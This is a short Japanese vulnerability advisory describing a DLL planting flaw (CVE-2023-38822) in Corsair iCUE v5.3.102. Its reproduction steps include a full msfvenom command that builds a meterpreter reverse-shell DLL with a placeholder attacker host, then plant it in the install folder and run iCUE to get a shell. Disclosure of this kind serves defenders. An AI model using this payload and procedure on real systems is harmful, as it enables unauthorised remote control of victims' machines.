Corsair---DLL プランティング-CVE-2023-38822

Corsair iCUE v.5.3.102 における DLL プランティング CVE-2023-38822 発見者: Idan Malihi

説明

Corsair iCUE v.5.3.102 の問題により、ローカルの攻撃者が MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll、MSASN1.dll コンポーネントを介して任意のコードを実行できます。

再現手順

DLL プランティングの脆弱性を悪用するには、攻撃者は以下の手順を実行する必要があります。

1. iCUE の最新バージョンをダウンロードします。
2. iCUE 製品をインストールします。
3. インストールパスフォルダ（例：C:\Program Files\Corsair\Corsair iCUE5 Software\）を開きます。
4. Kali Linux OS 上で msfvenom を使用して悪意のある DLL ファイルを作成します。 msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o CRYPTSP.dll
5. DLL ファイルをゲームのパス C:\Program Files\Corsair\Corsair iCUE5 Software\ に転送します。
6. iCUE.exe を実行し、リバースシェルを取得します。